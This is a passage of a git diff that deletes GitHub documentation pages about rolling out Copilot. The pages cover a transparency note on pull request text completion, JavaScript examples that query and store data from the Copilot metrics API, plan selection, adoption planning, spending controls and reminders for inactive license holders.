reusables.rai.copilot.enterprise-fpt-link %} - -{% endif %} - -## About {% data variables.product.prodname_copilot_autocomplete_pr %} - -{% data variables.product.prodname_copilot_autocomplete_pr %} is an AI-powered feature that allows users to more easily write pull request descriptions by suggesting text as you type. - -When you pause briefly while typing a summary, {% data variables.product.prodname_copilot_short %} scans through the pull request and provides suggested prose, attempting to finish your thought. - -The only supported language for {% data variables.product.prodname_copilot_autocomplete_pr %} is English. - -{% data variables.product.prodname_copilot_autocomplete_pr %} uses a simple-prompt flow leveraging the {% data variables.product.prodname_copilot_short %} API, utilizing the generic large language model, with no additional trained models. - -When you pause during typing the pull request description, a call is generated to the {% data variables.product.prodname_copilot_short %} API to generate suggested text to insert into the description at the current cursor position. The text complete request includes information from the pull request, including the pull request title, any text already in the description, the pull request commit titles, partial raw diffs, and recently viewed pull request and issue titles in a prompt that requests {% data variables.product.prodname_copilot_short %} to generate a suggestion for the next words you are likely to type. The response is then displayed as grayed out text following the cursor. You can accept the suggested text by pressing the tab key, or reject the suggestion by simply continuing to type, or moving the cursor focus out of the description field. - -## Use case for pull request text complete - -The goal of {% data variables.product.prodname_copilot_autocomplete_pr %} is to help the pull request author to quickly provide context to the human reviewers of the pull request. When reviewing a pull request it is valuable to understand context such as why changes are being requested and how the pull request makes those changes. It may help increase developer productivity by reducing the time taken to open a pull request. - -## Improving the performance of pull request text complete - -The feature is intended to supplement rather than replace a human's work adding context to pull requests. The quality of the text complete suggestions will depend on the quality of the title, the commit messages, and the text already added to the description. We encourage you to continue adding useful context and let {% data variables.product.prodname_copilot_short %} suggest as you go. It remains your responsibility to review and assess the accuracy of information in the pull requests you create. - -## Limitations of pull request text complete - -Currently, our team is aware that there are limitations to this feature. Many of them are expected in leveraging our {% data variables.product.prodname_copilot_short %} API; however, there are a few that are specific to {% data variables.product.prodname_copilot_autocomplete_pr %} which pertain to limited scope for very large pull requests, and potentially inaccurate responses. We also note that users should expect terms used in their pull request to appear in the AI-generated suggestions. - -This feature has been subject to RAI Red Teaming and we will continue to monitor the efficacy and safety of the feature over time. For more information, see [Microsoft AI Red Team building future of safer AI](https://www.microsoft.com/en-us/security/blog/2023/08/07/microsoft-ai-red-team-building-future-of-safer-ai/) on the Microsoft security blog. - -### Limited scope - -It is possible for very large pull requests, that some of the pull request content that the {% data variables.product.prodname_copilot_short %} API relies upon for automatically suggesting text will not fit into the API call, and so for very large pull requests, some of the suggestions you might expect may not occur. - -### Inaccurate responses - -The more inputs and context that {% data variables.product.prodname_copilot_short %} has to work from, the better the text complete suggestions will be. However, since the feature is quite new, it will take time to reach exact precision with the text complete suggestions that are generated. In the meantime, there may be cases where a generated text complete is less accurate and requires the user to make modifications before saving and publishing their pull request with this description. In addition, there is a risk of "hallucination," where {% data variables.product.prodname_copilot_short %} generates statements that are inaccurate. For these reasons, reviewing is a requirement, and careful review of the output is highly recommended. - -### Replication of pull request content - -Because a text complete suggestion is drawn from changes that were made in a pull request, if harmful or offensive terms are within the content of the pull request, there is potential for the suggestion to also include those terms. - -## Further reading - -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center/) diff --git a/content/copilot/rolling-out-github-copilot-at-scale/analyzing-usage-over-time-with-the-copilot-metrics-api.md b/content/copilot/rolling-out-github-copilot-at-scale/analyzing-usage-over-time-with-the-copilot-metrics-api.md deleted file mode 100644 index 7997b6c6330c..000000000000 --- a/content/copilot/rolling-out-github-copilot-at-scale/analyzing-usage-over-time-with-the-copilot-metrics-api.md +++ /dev/null @@ -1,307 +0,0 @@ ---- -title: Analyzing usage over time with the Copilot metrics API -shortTitle: Analyze usage over time -intro: 'Learn how to connect to the API, store data, and analyze usage trends.' -versions: - feature: copilot -product: '{% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %}' -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/analyzing-usage-over-time-with-the-copilot-metrics-api -permissions: 'Organization owners, enterprise owners, and billing managers' -layout: inline -topics: - - Copilot ---- - -## Introduction - -You can use the [AUTOTITLE](/rest/copilot/copilot-metrics) to see trends in how users are adopting {% data variables.product.prodname_copilot %}. During a rollout of {% data variables.product.prodname_copilot %}, it's useful to view these trends to check that people are using their assigned licenses, see which features people are using, and understand the effect of your company's enablement plan on developers. - -The API includes: - -* Data for the last 28 days -* Numbers of active users and engaged users -* Breakdowns by language and IDE -* The option to view metrics for an enterprise, organization, or team - -If you currently use the [AUTOTITLE](/rest/copilot/copilot-usage), we recommend migrating to the [AUTOTITLE](/rest/copilot/copilot-metrics) as soon as possible. - -This guide demonstrates how to query the API, store data, and analyze a trend for changes to the number of users per week. The examples in this guide use the endpoint for an organization, but you can adapt the examples to meet your needs. - -## About endpoint availability - -Endpoints are available to get data for an enterprise, organization, organization team, or enterprise team on {% data variables.product.prodname_dotcom_the_website %}. - -* If you have a {% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %} subscription as part of a regular organization or enterprise, you can use the endpoints for **an enterprise, an organization, or an organization team**. You don't have access to enterprise teams unless you're enrolled in a preview. -* If you use a dedicated enterprise for {% data variables.product.prodname_copilot_for_business %}—an enterprise account without the ability to create organizations—you can use the endpoints for **an enterprise or an enterprise team**. - -{% data reusables.copilot.metrics-api-ghecom %} - -## Prerequisites - -* The **{% data variables.product.prodname_copilot_short %} metrics API access** policy must be enabled for your enterprise or organization. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization) or [AUTOTITLE](/enterprise-cloud@latest/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise). -* The organization, enterprise, or team that you're querying must have enough active {% data variables.product.prodname_copilot_short %} users. The API only returns results for a given day if there are **five or more members with active {% data variables.product.prodname_copilot_short %} licenses** for that day. -* In this example, we'll create a JavaScript script for querying and analyzing the data. To run this script locally, you must install [Node.js](https://nodejs.org/en), then install the [Octokit.js SDK](https://github.com/octokit/octokit.js#usage) with `npm install -g octokit`. - -## 1. Create a {% data variables.product.pat_generic %} - -For our example, to get metrics for an organization, we'll create a {% data variables.product.pat_v1 %} with the `manage_billing:copilot` scope. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic). - -If you're using another endpoint, you may need different scopes. See [AUTOTITLE](/rest/copilot/copilot-metrics). - -## 2. Connect to the API - -We will call the API from a script and save the response as a variable. We can then store the data externally and analyze trends in the data. - -The following example uses the [Octokit client](https://github.com/octokit) for JavaScript. You can use other methods to call the API, such as cURL or the {% data variables.product.prodname_cli %}. - -### Example - -In this example: - -* Replace YOUR_TOKEN with your {% data variables.product.pat_generic %}. -* Replace YOUR_ORG with your organization name, such as `octo-org`. - -```javascript annotate -// Import Octokit -import { Octokit } from "octokit"; - -// Set your token and organization -const octokit = new Octokit({ - auth: 'YOUR_TOKEN' -}); -const org = 'YOUR_ORG'; - -// Set other variables if required for the endpoint you're using -/* -const team = 'YOUR_TEAM'; -const enterprise = 'YOUR_ENTERPRISE'; -const entTeam = 'YOUR_ENTERPRISE_TEAM'; -*/ - -// Call the API -async function orgMetrics() { - const resp = await octokit.request(`GET /orgs/${org}/copilot/metrics`, { - org: 'ORG', - headers: { - 'X-GitHub-Api-Version': '2022-11-28' - } - }); - - const copilotUsage = resp.data; - - console.log(copilotUsage); - } - -// Call the function -orgMetrics(); -``` - -### Run the script locally - -To test the script locally, save the file as `copilot.mjs`, then run `node copilot.mjs`. - ->[!IMPORTANT] The **.mjs** file type is important. The `import { Octokit }` statement may not work with a regular `.js` file. - -In your terminal, you should see output with a JSON array like the following. - -```json -[ - { - date: '2024-11-07', - copilot_ide_chat: { editors: [Array], total_engaged_users: 14 }, - total_active_users: 28, - copilot_dotcom_chat: { models: [Array], total_engaged_users: 4 }, - total_engaged_users: 28, - copilot_dotcom_pull_requests: { total_engaged_users: 0 }, - copilot_ide_code_completions: { editors: [Array], total_engaged_users: 22 } - }, -... -``` - -## 3. Store the data - -To analyze trends over longer than 28 days, you will need to: - -* Call the API daily, using a cron job or scheduled {% data variables.product.prodname_actions %} workflow. -* Store data locally or with a database service such as MySQL. -* Query the data to identify trends over time. - -### Example - -In this example we'll save the data to a local `.json` file. To do this, we will import some modules for working with files, and update the `orgMetrics` function to save the response data. - -The function saves new data that is returned each day, without overwriting old data in the file. - -New steps are annotated in **bold**. - -```javascript annotate -// Import Octokit -import { Octokit } from "octokit"; - -// **Import modules for working with files** -import path from 'path'; -import fs from 'fs'; -import { fileURLToPath } from 'url'; -import { dirname } from 'path'; - -// **Declare variables for working with files** -const __filename = fileURLToPath(import.meta.url); -const __dirname = dirname(__filename); - -// Set your token and organization -const octokit = new Octokit({ - auth: 'YOUR_TOKEN' -}); - -const org = 'YOUR_ORG'; - -// Call the API -async function orgMetrics() { - const resp = await octokit.request(`GET /orgs/${org}/copilot/metrics`, { - org: 'ORG', - headers: { - 'X-GitHub-Api-Version': '2022-11-28' - } - }); - - const copilotUsage = resp.data; - - // **Define the path to the local file where data will be stored** - const dataFilePath = path.join(__dirname, 'copilotMetricsData.json'); - - // **Read existing data from the file, if it exists** - let existingData = []; - if (fs.existsSync(dataFilePath)) { - const fileContent = fs.readFileSync(dataFilePath, 'utf8'); - existingData = JSON.parse(fileContent); - } - - // **Filter out the new data that is not already in the existing data** - const newData = copilotUsage.filter(entry => !existingData.some(existingEntry => existingEntry.date === entry.date)); - - // **Append new data to the existing data** - if (newData.length > 0) { - existingData = existingData.concat(newData); - - // **Save the updated data back to the file** - fs.writeFileSync(dataFilePath, JSON.stringify(existingData, null, 2)); - console.log(`Saved ${newData.length} new entries.`); - } else { - console.log('No new data to save.'); - } -} - -// Call the function -orgMetrics(); -``` - -### Run the script locally - -After running the script with `node copilot.mjs`, you should have a new file in your directory called `copilotMetricsData.json`. The file should contain data from the API response. - -If you run the script again tomorrow, it should only save data for one new day to the file. - -## 4. Analyze trends - -You can work with the data from the API to identify trends over the last 28 days or, if you've stored data from previous API calls, over a longer period. - -### Example - -In the following example, we update the `orgMetrics` function to extract the total and average number of active and engaged users per week. We could then use that data to track changes over time. This example uses the data returned directly from the API, and doesn't require stored data. - -New steps are annotated in **bold**. - -```javascript annotate -// Call the API -async function orgMetrics() { - const resp = await octokit.request(`GET /orgs/${org}/copilot/metrics`, { - org: 'ORG', - headers: { - 'X-GitHub-Api-Version': '2022-11-28' - } - }); - - const copilotUsage = resp.data; - - // **Create an object to store data for each week** - let userTrends ={ - week1: { - days:0, - activeUsers:0, - engagedUsers:0, - }, - week2: { - days:0, - activeUsers:0, - engagedUsers:0, - }, - week3: { - days:0, - activeUsers:0, - engagedUsers:0, - }, - week4: { - days:0, - activeUsers:0, - engagedUsers:0, - }, - }; - - // **Iterate over the data** - for (let i =0; i<copilotUsage.length; i++) { - // **Determine the week number (1-4) based on the index** - const week = Math.ceil((i+1)/7); - // **Increment userTrends for the current week** - userTrends[`week${week}`].days += 1; - userTrends[`week${week}`].activeUsers += copilotUsage[i].total_active_users; - userTrends[`week${week}`].engagedUsers += copilotUsage[i].total_engaged_users; - } - - // **Calculate the average number of active and engaged users per day for each week, rounded to two decimal places** - for (const week in userTrends) { - userTrends[week].avgActiveUsers = (userTrends[week].activeUsers / userTrends[week].days).toFixed(2); - userTrends[week].avgEngagedUsers = (userTrends[week].engagedUsers / userTrends[week].days).toFixed(2); - } - - // Output to the console - console.log(userTrends); -} -``` - -### Run the script locally - -After running the script with `node copilot.mjs`, you should see output in your terminal like the following. - -```json -{ - week1: { - days: 7, - activeUsers: 174, - engagedUsers: 174, - avgActiveUsers: '24.86', - avgEngagedUsers: '24.86' - }, - week2: { - days: 7, - activeUsers: 160, - engagedUsers: 151, - avgActiveUsers: '22.86', - avgEngagedUsers: '21.57' - }, - week3: { - days: 7, - activeUsers: 134, - engagedUsers: 123, - avgActiveUsers: '19.14', - avgEngagedUsers: '17.57' - }, - week4: { - days: 6, - activeUsers: 143, - engagedUsers: 132, - avgActiveUsers: '23.83', - avgEngagedUsers: '22.00' - } -} -``` diff --git a/content/copilot/rolling-out-github-copilot-at-scale/choosing-your-enterprises-plan-for-github-copilot.md b/content/copilot/rolling-out-github-copilot-at-scale/choosing-your-enterprises-plan-for-github-copilot.md deleted file mode 100644 index 3dcdbcaa99aa..000000000000 --- a/content/copilot/rolling-out-github-copilot-at-scale/choosing-your-enterprises-plan-for-github-copilot.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Choosing your enterprise's plan for GitHub Copilot -shortTitle: Choose your plan -intro: 'Choose between {% data variables.product.prodname_copilot_business_short %} and {% data variables.product.prodname_copilot_enterprise_short %}.' -versions: - feature: copilot -topics: - - Copilot -permissions: 'Enterprise owners and billing managers' ---- - -When you adopt {% data variables.product.prodname_copilot %} in a company, you will sign up to a {% data variables.product.prodname_copilot_short %} plan designed for businesses. These plans allow you to: - -* Choose which users receive access to {% data variables.product.prodname_copilot_short %} -* Meet regulations and security requirements with features like file exclusion, policies, and audit logs -* Benefit from advanced {% data variables.product.prodname_copilot_short %} features - -{% data variables.product.prodname_copilot_enterprise_short %} offers additional features for enterprises that want to customize {% data variables.product.prodname_copilot_short %} for their needs. - -<a href="https://github.com/github-copilot/purchase" target="_blank" class="btn btn-primary mt-3 mr-3 no-underline"><span>Sign up for {% data variables.product.prodname_copilot_short %}</span> {% octicon "link-external" height:16 %}</a> - -## About the plans - -{% data variables.product.company_short %} offers two {% data variables.product.prodname_copilot_short %} plans for customers on {% data variables.product.prodname_ghe_cloud %}: - -* **{% data variables.product.prodname_copilot_business_short %}** ({% data variables.copilot.cfb_price_per_month %} per user per month): includes most {% data variables.product.prodname_copilot_short %} features in IDEs and on the {% data variables.product.github %} website. -* **{% data variables.product.prodname_copilot_enterprise_short %}** ({% data variables.copilot.ce_price_per_month %} per user per month): allows companies to customize {% data variables.product.prodname_copilot_short %} for their code and processes. To learn more, see [Customization with {% data variables.product.prodname_copilot_enterprise_short %}](#customization-with-copilot-enterprise). - -For a full comparison, see our [plans page](https://github.com/features/copilot/plans). - -## Customization with {% data variables.product.prodname_copilot_enterprise_short %} - -Many companies have complex repositories, such as large monorepos or legacy codebases, that can be difficult to get started with. Developers may need to spend a long time finding and reading documentation before they can contribute. - -With {% data variables.product.prodname_copilot_enterprise_short %}, you can create **knowledge bases** that bring together documentation from one or more repositories in an organization. Users can specify the knowledge base as the context for {% data variables.product.prodname_copilot_chat_short %}, allowing {% data variables.product.prodname_copilot_short %} to synthesize information from your documentation in its response. - -## About mixed plans - -When you subscribe your enterprise account to {% data variables.product.prodname_copilot_enterprise_short %}, you don't need to use this plan across the whole enterprise. Instead, you can choose a plan individually for each organization in your enterprise. This approach allows you to: - -* Evaluate the benefits of {% data variables.product.prodname_copilot_enterprise_short %} for a smaller group of users before rolling it out further. -* Enable {% data variables.product.prodname_copilot_enterprise_short %} in the organizations where it will have the most impact, such as organizations with complex documentation or legacy codebases. - -## Making a decision - -To summarize: - -* Choose {% data variables.product.prodname_copilot_enterprise_short %} if your company has projects with complex requirements or large amounts of documentation. Knowledge bases give {% data variables.product.prodname_copilot_short %} enhanced context, which can save developers time and allow them to focus on tasks they enjoy. -* If you're not sure about a full rollout, choose {% data variables.product.prodname_copilot_enterprise_short %} at the enterprise level and enable it for individual organizations where it will have the most impact. - -## Further reading - -* [AUTOTITLE](/enterprise-cloud@latest/copilot/customizing-copilot/managing-copilot-knowledge-bases) -* [AUTOTITLE](/enterprise-cloud@latest/copilot/customizing-copilot/creating-a-custom-model-for-github-copilot) diff --git a/content/copilot/rolling-out-github-copilot-at-scale/driving-copilot-adoption-in-your-company.md b/content/copilot/rolling-out-github-copilot-at-scale/driving-copilot-adoption-in-your-company.md deleted file mode 100644 index caaeef78f7e7..000000000000 --- a/content/copilot/rolling-out-github-copilot-at-scale/driving-copilot-adoption-in-your-company.md +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Driving Copilot adoption in your company -shortTitle: Drive Copilot adoption -intro: 'Learn how to plan an effective enablement process to drive Copilot adoption.' -versions: - feature: copilot -topics: - - Copilot ---- - -An effective enablement process is essential to drive adoption of {% data variables.product.prodname_copilot_short %} in your organization. This process should be tailored to your organization's needs and goals, and should be designed to help your teams understand how to use {% data variables.product.prodname_copilot_short %} effectively. - -Your enablement process may evolve based on feedback and results. You should regularly review and update the process to ensure it continues to meet your organization's needs. - -The {% data variables.product.prodname_copilot %} enablement process can be broken down into the following stages: - -* Granting licenses -* Supporting users setting up their environment -* Supporting effective use of {% data variables.product.prodname_copilot_short %} - -## Prerequisites - -* {% data variables.product.prodname_copilot %} must be set up in your {% ifversion ghec %}enterprise and {% endif %}organization. For more information, see {% ifversion ghec %}[AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-enterprise) and {% endif %}[AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-organization). - -## Granting licenses - -Before you can drive adoption of {% data variables.product.prodname_copilot %}, you need to ensure that your teams have access to the product. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization). - -Depending on the size of your organization, you may want to start with a small pilot program. This will allow you to test your enablement process and make any necessary adjustments before rolling it out to the rest of your organization. - -You can start by identifying a small number of teams that are interested in using {% data variables.product.prodname_copilot_short %}. You can then work with these teams to help them get started with {% data variables.product.prodname_copilot_short %}. - -{% data reusables.copilot.self-serve-license-link %} - -## Supporting users setting up their environment - -Once your teams have access to {% data variables.product.prodname_copilot %}, ensure they're confident with setting up their environment. {% data variables.product.github %} provides comprehensive documentation to help users set up their environment and resolve common issues. See [AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself) and [AUTOTITLE](/copilot/troubleshooting-github-copilot). - -If your company uses a corporate proxy or firewall, there are additional steps for ensuring users can connect to {% data variables.product.prodname_copilot %}: - -* Ensure that key URLs are added to the allowlist for the proxy server or firewall. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/configuring-your-proxy-server-or-firewall-for-copilot). -* Provide guidance for your users to set up their environment to connect via your proxy. You may also need to install custom SSL certificates on your users' machines. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/configuring-network-settings-for-github-copilot). - -For more complex issues, you may also choose to designate an internal point of contact to help users resolve issues, or escalate them to {% data variables.contact.github_support %}. You should choose a point of contact who is confident troubleshooting firewall and network configuration issues. - -## Supporting effective use of {% data variables.product.prodname_copilot_short %} in your organization - -This section offers examples of how you can support effective use of {% data variables.product.prodname_copilot_short %}. You can use these examples as a starting point and adapt them to meet your organization's needs and goals. - -### Creating onboarding resources - -You may choose to create internal onboarding materials to help teams get started with {% data variables.product.prodname_copilot_short %}. These materials could include your organization's policies and guidelines for using {% data variables.product.prodname_copilot_short %}, {% data variables.product.github %} documentation, relevant {% data variables.product.github %} blog posts, and any other resources that you think will be helpful. - -{% data variables.product.github %} documentation that you may want to feature in your onboarding materials includes: - -* [AUTOTITLE](/copilot/using-github-copilot/best-practices-for-using-github-copilot) -* [AUTOTITLE](/copilot/using-github-copilot/prompt-engineering-for-github-copilot) -* [AUTOTITLE](/copilot/using-github-copilot/getting-code-suggestions-in-your-ide-with-github-copilot) -* [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide) - -You can also create a {% data variables.product.github %} repository to store these materials, and encourage teams to contribute their own resources and best practices. This can help foster a sense of community among teams that are using {% data variables.product.prodname_copilot_short %}, and make it easier for new teams to get started. - -### Working with your pilot program - -Once the users in your pilot program have used your onboarding resources, you will have an initial opportunity for feedback, to see whether there are any sticking points that should be resolved before rolling out {% data variables.product.prodname_copilot_short %} on a larger scale. - -One way to gather feedback is with a survey. You can use the {% data variables.product.prodname_copilot_short %} survey engine to create an app that will trigger a survey at specific points in the {% data variables.product.prodname_copilot_short %} experience. See the [{% data variables.product.prodname_copilot_short %} survey engine](https://github.com/github/copilot-survey-engine). - -### Offering training and support - -From your pilot program, you can identify a group of {% data variables.product.prodname_copilot_short %} champions who are enthusiastic about using {% data variables.product.prodname_copilot_short %} and are willing to help others get started. You can work with these champions to create training sessions, workshops, and other resources to help teams get started with {% data variables.product.prodname_copilot_short %}. - -You can also use {% data variables.product.prodname_discussions %} to create a space where teams can ask questions, share best practices, and learn from each other. This can help foster a sense of community among teams that are using {% data variables.product.prodname_copilot_short %}, and make it easier for new teams to get started. - -{% data variables.product.github %} also provides a dedicated {% data variables.product.prodname_copilot_short %} Workshops repository, which contains a selection of workshops designed to help teams learn how to use {% data variables.product.prodname_copilot_short %} effectively. See [Copilot Workshops](https://github.com/copilot-workshops). - -### Providing learning resources - -In addition to your onboarding resources, you may want to provide a library of learning resources to help teams advance their skills with {% data variables.product.prodname_copilot_short %}. The {% data variables.product.prodname_copilot_chat_short %} Cookbook is a great place to start. The Cookbook is a collection of example prompts that you can use to learn how to ask {% data variables.product.prodname_copilot_short %} for help with a wide range of tasks. See [AUTOTITLE](/copilot/copilot-chat-cookbook). - -### Communicating expectations - -If your organization has specific {% data variables.product.prodname_copilot_short %} usage guidelines, these should be clearly communicated in onboarding materials and anywhere else that teams might look for information. For example, if you plan to revoke access to {% data variables.product.prodname_copilot_short %} for users who have not used it in a certain period of time, ensure that your users are aware of this policy. - -### Ongoing analysis and optimization - -Once you have implemented your {% data variables.product.prodname_copilot_short %} enablement process, you should regularly review and optimize it to ensure it continues to meet your organization's needs. Some ways you can do this are: - -* Monitoring usage data to identify trends and patterns. See [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/analyzing-usage-over-time-with-the-copilot-metrics-api). -* Following up with users who haven't been using their assigned license. You can use the API to see the latest activity date for each assigned seat. See [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/reminding-inactive-users). -* Gathering feedback from teams to understand what is working well and what could be improved. -* Reviewing {% data variables.product.prodname_discussions %} and other communication channels to identify common issues and questions. diff --git a/content/copilot/rolling-out-github-copilot-at-scale/index.md b/content/copilot/rolling-out-github-copilot-at-scale/index.md deleted file mode 100644 index bb1bafcd7efb..000000000000 --- a/content/copilot/rolling-out-github-copilot-at-scale/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Rolling out GitHub Copilot at scale -shortTitle: Roll out Copilot at scale -intro: 'Learn how to manage a Copilot rollout in your organization or enterprise.' -versions: - feature: copilot -topics: - - Copilot -children: - - /choosing-your-enterprises-plan-for-github-copilot - - /driving-copilot-adoption-in-your-company - - /setting-up-a-self-serve-process-for-github-copilot-licenses - - /analyzing-usage-over-time-with-the-copilot-metrics-api - - /reminding-inactive-users - - /managing-your-companys-spending-on-github-copilot ---- diff --git a/content/copilot/rolling-out-github-copilot-at-scale/managing-your-companys-spending-on-github-copilot.md b/content/copilot/rolling-out-github-copilot-at-scale/managing-your-companys-spending-on-github-copilot.md deleted file mode 100644 index 22609289707f..000000000000 --- a/content/copilot/rolling-out-github-copilot-at-scale/managing-your-companys-spending-on-github-copilot.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Managing your company's spending on GitHub Copilot -shortTitle: Manage spending -intro: 'Learn how to track spending, view usage, and optimize license distribution.' -versions: - feature: copilot -topics: - - Copilot -permissions: 'Enterprise owners and billing managers' -product: '{% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %}' ---- - -When you're adopting {% data variables.product.prodname_copilot %} in an enterprise, you will want to set budgets and track spending to ensure your rollout is sustainable. {% data variables.product.github %} offers billing tools to help you visualize your spending patterns, receive alerts when you reach budget thresholds, and optimize your license usage. - ->[!NOTE] Some of the tools recommended in this article are part of {% data variables.product.github %}'s new billing platform, which isn't available to all customers. If your enterprise has access, you will see a **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing** option in your enterprise account's settings. - -## Understand who can grant licenses - -To control spending, it's important to understand who can affect your bill by granting licenses to users. These are people with the **organization owner** role in organizations where you enable {% data variables.product.prodname_copilot %}. Organization owners can receive requests for access from members through the {% data variables.product.github %} UI. - -We recommend that you identify the people with this role and communicate with them about your company's strategy for distributing licenses. For example, you may have a budget or limited pilot program, or you may distribute licenses through an internal website. - -## Map spending to groups of users - -With {% data variables.product.github %}'s new billing platform, you can create cost centers to map spending to individual business units or groups of users. Cost centers allow you to track costs tied to different initiatives and charge the costs to specific areas of your business. - -For example, if you were running a pilot program for {% data variables.product.prodname_copilot_enterprise %} for a group of employees, you might want to create a cost center to track their spending and set a budget independently of the rest of the company. - -### Create a cost center - -1. Go to your enterprise account settings and click **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing**. -1. In the left sidebar, click **Cost centers**, then click **New cost center**. -1. Create the cost center. You don't need to add any repositories or organizations, because you will add users to the cost center directly in the next step. - - >[!NOTE] As a priority, a cost center is charged for a {% data variables.product.prodname_copilot_short %} license if the assigned **user** has been added to the cost center directly. As a fallback, a cost center is charged for the license if the **organization where the user receives access** has been added to the cost center. - -1. After creating the cost center, use the REST API to add the users whose usage you want to track. See [AUTOTITLE](/enterprise-cloud@latest/rest/enterprise-admin/billing#add-users-to-a-cost-center). - -## Receive alerts for overspending - -With {% data variables.product.github %}'s new billing platform, you can ensure your spending on {% data variables.product.prodname_copilot %} is manageable by setting a monthly budget. A budget for {% data variables.product.prodname_copilot_short %} won't limit usage, but you will receive notifications by email when spending exceeds certain percentages of the budget you've set. - -You can create the budget for the whole enterprise or for a cost center. - -1. Go to your enterprise account settings and click **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing**. -1. In the left sidebar, click **Budgets and alerts**. -1. Click **New budget**. -1. Select **{% data variables.product.prodname_copilot_short %}** as the product, then configure the settings as required. You can choose who receives alerts when budget thresholds are reached. -1. Click **Create budget**. - -## Visualize spending trends - -With {% data variables.product.github %}'s new billing platform, you can understand your spending trends by viewing a graph for {% data variables.product.prodname_copilot_short %} usage over a certain timeframe. For more detailed insights, you can filter the results by cost center and group usage by the type of {% data variables.product.prodname_copilot_short %} plan. - -1. Go to your enterprise account settings and click **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing**. -1. In the left sidebar, click **Usage**. -1. In the "Metered usage" section, in the search field, enter `product:copilot`. To filter by cost center, add a query like `cost_center:ce-pilot-group`. -1. To understand spending differences between {% data variables.product.prodname_copilot_business_short %} and {% data variables.product.prodname_copilot_enterprise_short %} plans, select the **Group: None** dropdown menu and click **Group: SKU**. - -![Screenshot of the "Usage" page. A line chart tracks Copilot spending over the current month, grouped by SKU.](/assets/images/help/copilot/track-spending.png) - -## Optimize license usage - -When you begin rolling out {% data variables.product.prodname_copilot_short %} in a company, you may see low rates of adoption at first. An effective enablement process is essential to drive adoption of {% data variables.product.prodname_copilot_short %} in your company. Tailor this process to your company's needs and goals, and design it to help your teams understand how to use {% data variables.product.prodname_copilot_short %} effectively. - -To ensure your licenses are being used effectively, you can use the API to identify inactive users. We recommend sending these users a message with advice and resources for getting started. If a user remains inactive, you can revoke their license and assign it to another user. - -If you're not sure how best to distribute licenses, {% data variables.product.company_short %} has found that many successful rollouts offer a fully self-service model where developers can claim a license without approval. This allows people to get started quickly and ensures you're giving licenses to people who plan to use them. - -For detailed guidance, see: - -* [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/driving-copilot-adoption-in-your-company) -* [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/setting-up-a-self-serve-process-for-github-copilot-licenses) -* [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/reminding-inactive-users) diff --git a/content/copilot/rolling-out-github-copilot-at-scale/reminding-inactive-users.md b/content/copilot/rolling-out-github-copilot-at-scale/reminding-inactive-users.md deleted file mode 100644 index c3703657e409..000000000000 --- a/content/copilot/rolling-out-github-copilot-at-scale/reminding-inactive-users.md +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Reminding inactive users to use their GitHub Copilot license -shortTitle: Remind inactive users -intro: 'Use the {% data variables.product.github %} API to identify inactive users and help them get started.' -versions: - feature: copilot -permissions: Organization owners and billing managers -product: '{% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %}' -topics: - - Copilot -allowTitleToDifferFromFilename: true -layout: inline ---- - -When you're rolling out {% data variables.product.prodname_copilot %} in a business, it's important to keep track of which users are using their {% data variables.product.prodname_copilot_short %} license, so you can respond effectively by reassigning unused licenses or helping people to get started with {% data variables.product.prodname_copilot_short %}. - -You can use the [List all Copilot seat assignments for an organization](/rest/copilot/copilot-user-management#list-all-copilot-seat-assignments-for-an-organization) API endpoint to find the last activity date for each user who is assigned a license in an organization. Then, you can respond automatically by filtering for users who haven't used their license for a certain amount of time and sending a reminder to those users. - -## Writing the reminder message - -Your reminder to inactive users should help users to get past common adoption blockers for {% data variables.product.prodname_copilot_short %}. We recommend identifying specific blockers for your company by running surveys or interviewing developers. - -For example, the message could include information and links to help users: - -* Install {% data variables.product.prodname_copilot_short %} in their environment. -* Set up {% data variables.product.prodname_copilot_short %} to work with your company's proxy or firewall. -* Get the most out of {% data variables.product.prodname_copilot_short %} in their day-to-day work. - -You should also clearly communicate any further action you will take if the license continues to go unused, such as revoking the user's license. - -### Example reminder - -In the next section, we'll use this message in an automation that creates an issue assigned to each inactive user. - -> We noticed you haven't used your assigned license for {% data variables.product.prodname_copilot %} in 30 days. Here are some resources that might help you get started: -> -> * If you haven't yet set up {% data variables.product.prodname_copilot_short %} in your environment, see [AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself) or [AUTOTITLE](/copilot/troubleshooting-github-copilot/troubleshooting-common-issues-with-github-copilot). -> * For best practices and advice on getting started, see 